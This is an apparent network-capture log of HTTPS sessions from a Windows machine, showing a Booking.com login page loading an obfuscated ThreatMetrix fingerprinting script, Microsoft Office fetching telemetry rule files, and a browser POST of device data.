2024-11-02 13:00:26 UTC	931	OUT	GET /3RvMdW9zCqT5LTmo?3f48a0da5674df3e=jfGRd8wa-Ilfr-lPcrCzx7evv4aTQE-ZIyTphkobqs6vc3n9RCDITz3fjkzmsLwd9Q_2MpCeI_IXzYuIhyIYHAUMtgXamFjKKzRjSuBBoLYx12EbkaDO4meW2vyKMTkeD8e6_XOIZ1YMljct70x_mTjFmS5_8IwRC4LThFGYIHAcprUD9wlNKqJJWKvfYAa3cXJjJU0aiLsqkAbR0aQG HTTP/1.1 Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:27 UTC	447	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:27 UTC	7745	IN	Data Raw: 66 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 32 6e 3d 74 64 5f 32 6e 7c 7c 7b 7d 3b 74 64 5f 32 6e 2e 74 64 5f 35 56 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 6f 2c 74 64 5f 71 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 46 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 44 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4f 3d 30 3b 74 64 5f 4f 3c 74 64 5f 71 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4f 29 7b 74 64 5f 46 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 6f 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 44 29 5e 74 64 5f Data Ascii: fff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_2n=td_2n\|\|{};td_2n.td_5V=function(td_o,td_q){try{var td_F=[""];var td_D=0;for(var td_O=0;td_O<td_q.length;++td_O){td_F.push(String.fromCharCode(td_o.charCodeAt(td_D)^td_
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 65 38 37 63 36 63 31 37 37 31 65 36 34 32 36 64 39 65 32 34 65 62 38 64 62 30 63 62 35 36 65 31 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 65 38 37 63 36 63 31 37 37 31 65 36 34 32 36 64 39 65 32 34 65 62 38 64 62 30 63 62 35 36 65 31 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 6e 2e 74 64 7a 5f 65 38 37 63 36 63 31 37 37 31 65 36 34 32 36 64 39 65 32 34 65 62 38 64 62 30 63 62 35 36 65 31 2e 74 64 5f 66 28 31 35 34 2c 35 29 29 3a 6e 75 6c 6c 29 29 3b 0a 69 66 28 74 79 70 65 6f 66 20 74 64 5f 5a 21 3d 3d 5b 5d 5b 5b 5d 5d 2b Data Ascii: currentScript.getAttribute(((typeof(td_2n.tdz_e87c6c1771e6426d9e24eb8db0cb56e1)!=="undefined"&&typeof(td_2n.tdz_e87c6c1771e6426d9e24eb8db0cb56e1.td_f)!=="undefined")?(td_2n.tdz_e87c6c1771e6426d9e24eb8db0cb56e1.td_f(154,5)):null));if(typeof td_Z!==[][[]]+
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 28 31 32 37 2c 35 29 29 3a 6e 75 6c 6c 29 7d 2c 7b 73 74 72 69 6e 67 3a 74 64 5f 67 2c 73 75 62 53 74 72 69 6e 67 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 29 21 3d Data Ascii: 118bf04fe7a3ea5b7a340cd2df)!=="undefined"&&typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f)!=="undefined")?(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f(127,5)):null)},{string:td_g,subString:((typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df)!=
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 28 32 35 34 2c 37 29 29 3a 6e 75 6c 6c 29 2c 76 65 72 73 69 6f 6e 4d 61 70 3a 5b 7b 73 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 Data Ascii: ty:((typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df)!=="undefined"&&typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f)!=="undefined")?(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f(254,7)):null),versionMap:[{s:((typeof(td_2n.tdz_6b5bed118bf04fe7
2024-11-02 13:00:27 UTC	8637	IN	Data Raw: 75 6c 6c 29 3b 0a 7d 69 66 28 70 73 63 28 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 34 66 65 37 61 33 65 61 35 62 37 61 33 34 30 63 64 32 64 66 2e 74 64 5f 66 28 37 33 33 2c 39 29 29 3a 6e 75 6c 6c 29 29 29 7b 72 65 74 75 72 6e 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 36 62 35 62 65 64 31 31 38 62 66 30 Data Ascii: ull);}if(psc(((typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df)!=="undefined"&&typeof(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f)!=="undefined")?(td_2n.tdz_6b5bed118bf04fe7a3ea5b7a340cd2df.td_f(733,9)):null))){return((typeof(td_2n.tdz_6b5bed118bf0
2024-11-02 13:00:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:27 UTC	8192	IN	Data Raw: 62 39 35 39 0d 0a 28 74 64 5f 4f 5b 74 64 5f 64 2d 31 5d 5b 31 34 5d 29 3b 74 64 5f 4f 5b 74 64 5f 64 2d 31 5d 5b 31 35 5d 3d 28 28 74 64 5f 54 2e 6c 65 6e 67 74 68 2d 31 29 2a 38 29 26 34 32 39 34 39 36 37 32 39 35 3b 76 61 72 20 74 64 5f 79 3d 31 37 33 32 35 38 34 31 39 33 3b 76 61 72 20 74 64 5f 59 3d 34 30 32 33 32 33 33 34 31 37 3b 76 61 72 20 74 64 5f 4d 3d 32 35 36 32 33 38 33 31 30 32 3b 0a 76 61 72 20 74 64 5f 44 3d 32 37 31 37 33 33 38 37 38 3b 76 61 72 20 74 64 5f 6e 3d 33 32 38 35 33 37 37 35 32 30 3b 76 61 72 20 74 64 5f 74 3d 6e 65 77 20 41 72 72 61 79 28 38 30 29 3b 76 61 72 20 74 64 5f 6b 2c 74 64 5f 52 2c 74 64 5f 55 2c 74 64 5f 65 2c 74 64 5f 61 3b 66 6f 72 28 76 61 72 20 74 64 5f 72 3d 30 3b 74 64 5f 72 3c 74 64 5f 64 3b 74 64 5f 72 2b Data Ascii: b959(td_O[td_d-1][14]);td_O[td_d-1][15]=((td_T.length-1)*8)&4294967295;var td_y=1732584193;var td_Y=4023233417;var td_M=2562383102;var td_D=271733878;var td_n=3285377520;var td_t=new Array(80);var td_k,td_R,td_U,td_e,td_a;for(var td_r=0;td_r<td_d;td_r+
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 34 5c 78 33 32 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 36 32 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 33 33 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 36 32 5c 78 33 31 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 36 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 36 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 36 36 5c 78 33 30 5c 78 36 31 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 31 5c 78 33 35 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 36 5c 78 36 32 5c 78 33 35 5c 78 36 32 5c 78 33 35 5c 78 33 33 5c 78 33 30 5c 78 36 35 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 36 31 5c 78 33 31 5c 78 33 37 5c 78 33 31 5c 78 33 34 5c 78 Data Ascii: 4\x32\x35\x34\x35\x62\x30\x37\x35\x33\x30\x33\x35\x62\x31\x30\x30\x30\x30\x36\x35\x34\x30\x36\x35\x30\x35\x34\x30\x37\x35\x31\x30\x66\x30\x61\x35\x30\x35\x31\x30\x31\x35\x34\x35\x34\x30\x30\x36\x62\x35\x62\x35\x33\x30\x65\x35\x37\x35\x61\x31\x37\x31\x34\x
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 30 5c 78 33 35 5c 78 33 31 5c 78 33 35 5c 78 33 30 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 36 35 5c 78 33 34 5c 78 36 33 5c 78 33 31 5c 78 33 34 5c 78 33 34 5c 78 33 37 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 38 5c 78 33 35 5c 78 33 38 5c 78 33 35 5c 78 33 35 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 33 31 5c 78 33 30 5c 78 33 37 5c 78 33 30 5c 78 33 36 5c 78 33 30 5c 78 33 39 5c 78 33 35 5c 78 33 38 5c 78 33 35 5c 78 33 34 5c 78 33 34 5c 78 36 32 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 33 35 5c 78 33 35 5c 78 36 32 5c 78 33 30 5c 78 33 38 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 36 31 5c 78 33 35 5c 78 33 31 5c 78 33 31 5c 78 33 36 5c 78 33 30 5c 78 33 34 5c 78 33 37 5c 78 36 33 5c 78 33 32 5c 78 33 32 5c 78 33 32 5c 78 Data Ascii: 0\x35\x31\x35\x30\x34\x35\x35\x65\x34\x63\x31\x34\x34\x37\x30\x62\x35\x31\x30\x38\x35\x38\x35\x35\x34\x32\x30\x31\x30\x37\x30\x36\x30\x39\x35\x38\x35\x34\x34\x62\x34\x35\x35\x35\x35\x62\x30\x38\x35\x37\x35\x61\x35\x31\x31\x36\x30\x34\x37\x63\x32\x32\x32\x
2024-11-02 13:00:27 UTC	6495	IN	Data Raw: 37 39 2c 37 29 29 3a 6e 75 6c 6c 29 3b 0a 76 61 72 20 74 64 5f 58 47 3d 74 64 5f 31 54 2b 28 28 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 30 39 32 32 39 35 65 65 39 61 63 38 34 31 33 34 39 34 62 35 39 31 31 30 64 66 62 66 36 38 32 32 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 6e 2e 74 64 7a 5f 30 39 32 32 39 35 65 65 39 61 63 38 34 31 33 34 39 34 62 35 39 31 31 30 64 66 62 66 36 38 32 32 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 6e 2e 74 64 7a 5f 30 39 32 32 39 35 65 65 39 61 63 38 34 31 33 34 39 34 62 35 39 31 31 30 64 66 62 66 36 38 32 32 2e 74 64 5f 66 28 31 38 36 2c 34 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 32 6e 2e 74 64 5f 30 48 28 74 64 5f 75 6f 2c 74 64 5f 35 47 Data Ascii: 79,7)):null);var td_XG=td_1T+((typeof(td_2n.tdz_092295ee9ac8413494b59110dfbf6822)!=="undefined"&&typeof(td_2n.tdz_092295ee9ac8413494b59110dfbf6822.td_f)!=="undefined")?(td_2n.tdz_092295ee9ac8413494b59110dfbf6822.td_f(186,4)):null)+td_2n.td_0H(td_uo,td_5G

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-16547b76f7frbg6bhC1DFWr54000000000p0000000002q0e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-16547b76f7fmbrhqhC1DFWkds800000000r000000000736u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-16547b76f7fp6mhthC1DFWrggn00000000sg0000000096fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: b1489392-e01e-0099-2a74-2cda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-r159446fcd77fkjdhC1DFWk94c00000001g0000000006x8a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-16547b76f7f67wxlhC1DFWah9w00000000g000000000cre9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49865	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	650	OUT	POST /raphael_data_v8 HTTP/1.1 Host: 52.209.78.88 Connection: keep-alive Content-Length: 7128 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" pretoken: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: application/json c: 1 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
